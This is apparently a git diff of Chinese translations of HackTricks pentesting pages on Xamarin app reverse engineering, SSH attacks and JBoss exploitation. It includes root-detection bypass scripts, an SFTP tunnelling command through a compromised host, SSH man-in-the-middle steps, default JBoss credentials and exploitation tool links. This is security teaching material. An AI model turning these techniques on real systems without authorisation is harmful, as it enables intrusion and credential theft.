只需**解压apk/ipa**文件并复制所有位于assemblies目录下的文件:
|
只需**解压apk/ipa**文件并复制所有位于assemblies目录下的文件:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
对于Android **APKs,这些dll文件是压缩的**,不能直接用于反编译。幸运的是,我们可以使用一些工具来**解压这些dll文件**,如[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)和[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
对于Android **APKs,这些dll文件是压缩的**,不能直接用于反编译。幸运的是,我们可以使用一些工具来**解压这些dll文件**,如[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)和[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
||||||
```
|
```
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
在程序集目录中,你可能会看到`assemblies.blob`和`assemblies.manifest`文件,而不是dll文件。这是一个Xamarin AssemblyStore,也是在Android应用程序中打包dll文件的推荐方式。`assemblies.manifest`是一个文本文件,描述了二进制文件`assemblies.blob`的内容。要解包这些文件,你需要使用[pyxamstore](https://github.com/jakev/pyxamstore)工具。
|
在程序集目录中,你可能会看到`assemblies.blob`和`assemblies.manifest`而不是dll文件。这是一个Xamarin AssemblyStore,也是在Android应用程序中打包dll文件的当前推荐方法。`assemblies.manifest`是一个文本文件,描述了二进制文件`assemblies.blob`的内容。要解包这些文件,你需要使用[pyxamstore](https://github.com/jakev/pyxamstore)。
|
||||||
```
|
```
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
```
|
```
|
||||||
|
@ -93,7 +93,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
|
|
||||||
尝试检查应用程序是否有任何类型的SSL pinning。如果没有,使用Burp作为系统的CA应该可以拦截请求。**Frida与Java或ObjC运行时在这里无法工作**,但幸运的是有一个工具可以用于钩入方法。
|
尝试检查应用程序是否有任何类型的SSL pinning。如果没有,使用Burp作为系统的CA应该可以拦截请求。**Frida与Java或ObjC运行时在这里无法工作**,但幸运的是有一个工具可以用于钩入方法。
|
||||||
|
|
||||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您在Xamarin应用程序的运行时轻松**修改.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,稍后可以使用Fridax钩入这些方法进行动态分析。以下是一些Frida脚本,可以帮助我们绕过root检测或SSL pinning:
|
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您在运行时轻松地**修改Xamarin应用程序中的.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,稍后可以使用Fridax钩入这些方法进行动态分析。以下是一些Frida脚本,可以帮助我们绕过root检测或SSL pinning:
|
||||||
|
|
||||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
|
@ -110,7 +110,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
|
|
|
@ -12,9 +12,9 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
||||||
|
|
||||||
* `port:15672 http`
|
* `port:15672 http`
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||||
|
|
||||||
|
@ -66,10 +66,10 @@ Content-Length: 267
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
|
@ -12,7 +12,7 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
|
@ -144,7 +144,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
|
|
||||||
### Kerberos
|
### Kerberos
|
||||||
|
|
||||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项来**通过Kerberos进行身份验证**。\
|
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项**通过Kerberos进行身份验证**。\
|
||||||
有关更多信息,请运行`crackmapexec ssh --help`。
|
有关更多信息,请运行`crackmapexec ssh --help`。
|
||||||
|
|
||||||
## 默认凭据
|
## 默认凭据
|
||||||
|
@ -173,12 +173,12 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
**攻击路径:**
|
**攻击路径:**
|
||||||
|
|
||||||
* 用户流量被重定向到攻击机器
|
* 用户流量被重定向到攻击机器
|
||||||
* 攻击者监视连接到SSH服务器的尝试,并将其重定向到其自己的SSH服务器
|
* 攻击者监视连接到SSH服务器的尝试,并将其重定向到其SSH服务器
|
||||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次发送命令到用户想要连接的合法SSH服务器以执行它们,然后将结果返回给合法用户
|
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次,向用户想要连接的合法SSH服务器发送命令以执行它们,然后将结果返回给合法用户
|
||||||
|
|
||||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*正是上述描述的操作。
|
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*正是上述描述的操作。
|
||||||
|
|
||||||
为了捕获实际的中间人攻击,您可以使用ARP欺骗、DNS欺骗或其他在[**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#spoofing)中描述的技术。
|
为了捕获执行实际的中间人攻击,您可以使用ARP欺骗、DNS欺骗或其他在[**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/#spoofing)中描述的技术。
|
||||||
|
|
||||||
## 配置错误
|
## 配置错误
|
||||||
|
|
||||||
|
@ -256,7 +256,7 @@ PermitTTY no
|
||||||
|
|
||||||
### SFTP隧道
|
### SFTP隧道
|
||||||
|
|
||||||
如果您可以访问SFTP服务器,您还可以通过使用常见的端口转发将流量隧道化。
|
如果您可以访问SFTP服务器,您还可以通过使用常见的端口转发来通过该服务器进行流量隧道传输:
|
||||||
```
|
```
|
||||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||||
```
|
```
|
||||||
|
@ -279,7 +279,7 @@ OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||||
...
|
...
|
||||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||||
```
|
```
|
||||||
例如,如果设置了身份验证失败限制,并且您从未有机会到达密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
例如,如果设置了身份验证失败限制,并且您从未有机会使用密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||||
```
|
```
|
||||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||||
...
|
...
|
||||||
|
@ -310,9 +310,9 @@ id_rsa
|
||||||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||||
|
|
||||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -5,16 +5,16 @@
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统-**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -24,13 +24,13 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
||||||
|
|
||||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用器servlets与暴露的MBeans进行交互:
|
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用器servlets与暴露的MBeans进行交互:
|
||||||
|
|
||||||
* /web-console/Invoker (JBoss版本6和7)
|
* /web-console/Invoker(JBoss版本6和7)
|
||||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet (JBoss 5及之前版本)
|
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet(JBoss 5及之前版本)
|
||||||
|
|
||||||
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
||||||
**或者使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
**或者使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||||
|
|
||||||
### 利用
|
### 攻击
|
||||||
|
|
||||||
[https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
[https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
||||||
|
|
||||||
|
@ -38,9 +38,9 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
||||||
```
|
```
|
||||||
inurl:status EJInvokerServlet
|
inurl:status EJInvokerServlet
|
||||||
```
|
```
|
||||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -48,10 +48,10 @@ inurl:status EJInvokerServlet
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,12 +7,12 @@
|
||||||
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
